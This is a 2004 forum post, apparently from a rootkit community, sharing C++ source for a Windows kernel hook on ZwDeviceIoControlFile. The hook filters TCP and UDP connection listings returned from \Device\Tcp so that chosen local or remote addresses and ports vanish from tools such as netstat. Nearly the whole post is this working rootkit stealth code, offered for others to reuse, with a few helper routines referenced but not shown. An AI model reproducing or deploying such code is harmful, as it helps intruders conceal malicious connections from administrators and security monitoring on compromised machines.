port/connection hiding

port/connection hiding
@ :: worthy ::   Jun 18 2004, 15:57 (UTC+0)
akcom writes: after reading HolyFather's article on rootkits, i wrote a hook to hide connections. I've noticed a few people saying that the already available ones are buggy, so heres my hook (in C++, minor modifications would make it c compatible)


typedef struct _GENERIC_RECORD
{
  ULONG entry1; //state on tcp, local addr on udp
  ULONG entry2; //local addr on tcp, local port on udp
  ULONG entry3; //local port on tcp
  ULONG entry4; //remote addr on tcp
  ULONG entry5; //remote port on tcp
} GENERIC_RECORD, *PGENERIC_RECORD;






NTSTATUS
NTAPI
NewZwDeviceIoControlFile(
  IN HANDLE           FileHandle,
  IN HANDLE           Event OPTIONAL,
  IN PIO_APC_ROUTINE     ApcRoutine OPTIONAL,
  IN PVOID           ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK   IoStatusBlock,
  IN ULONG           IoControlCode,
  IN PVOID           InputBuffer OPTIONAL,
  IN ULONG           InputBufferLength,
  OUT PVOID           OutputBuffer OPTIONAL,
  IN ULONG           OutputBufferLength
)
{
  NTSTATUS ntRes = ((ZWDICF)OldZwDeviceIoControlFile)(
                    FileHandle,
                    Event,
                    ApcRoutine,
                    ApcContext,
                    IoStatusBlock,
                    IoControlCode,
                    InputBuffer,
                    InputBufferLength,
                    OutputBuffer,
                    OutputBufferLength
                    );
  if (!NT_SUCCESS(ntRes))
  {
    return ntRes;
  }
 
  if (IoControlCode != 0x120003)
  {
    return ntRes;
  }
 
  POBJECT_NAME_INFORMATION ObjectName;
  char ObjectNameBuf[512];
  ULONG ReturnLen;
  ObjectName = (POBJECT_NAME_INFORMATION)ObjectNameBuf;
  ObjectName->Name.MaximumLength = 500;
  ZwQueryObject( FileHandle, ObjectNameInfo, ObjectName, sizeof(ObjectNameBuf), &ReturnLen );
 
  char ObjectNameMBS[261];  
  wcstombs(ObjectNameMBS, ObjectName->Name.Buffer, sizeof(ObjectNameMBS));
 
  if (stricmp(ObjectNameMBS, "//Device//Tcp") != 0)
  {
    return ntRes;
  }
 
  PBYTE input = (PBYTE)InputBuffer;
  if (InputBufferLength < 17)
  {
    return ntRes;
  }
 
  bool tcp = false;
  /*
  if its tcp, then the first item is
  state, which we need to ignore
  */
  ULONG recordSize = 0;
  if (input[0] == 0x00)
  {
    tcp = true;
    recordSize = sizeof(MIB_TCPROW);
    //tcp
    if (input[16] == 0x02)
    {
        //extended
        recordSize += 4;
    }
  }
  else
  {
    //udp
    recordSize = sizeof(MIB_UDPROW);
    //extended
    if (input[16] == 0x02)
    {
        recordSize += 4;
    }
  }
 
  ULONG entryCount = IoStatusBlock->Information / recordSize;
 
  bool done;
  PGENERIC_RECORD data = (PGENERIC_RECORD)OutputBuffer;
 
  ULONG i;
 
  ULONG ip;
  USHORT port;
 
  i = 0;
 
  while (i < entryCount)
  {
    ip = tcp ? data->entry2 : data->entry1;
    port = (USHORT)(tcp ? data->entry3 : data->entry2);
    // i use a linked list of records to hide,
    // just replace this with your comparison
    if (
        matchesConMask( ip, port, g_ConList )
      )
    {
        //local stuff
        hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
        IoStatusBlock->Information -= recordSize;
        entryCount--;
    }
    else
    // i use a linked list of records to hide,
    // just replace this with your comparison
    if (tcp && matchesConMask( data->entry4, (USHORT)data->entry5, g_ConList ) )
    {
        //remote stuff
        hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
        IoStatusBlock->Information -= recordSize;
        entryCount--;
    }
    else
    {        
        data = (PGENERIC_RECORD)(((char *)data) + recordSize);
        i++;
    }
  }
 
  return ntRes;
}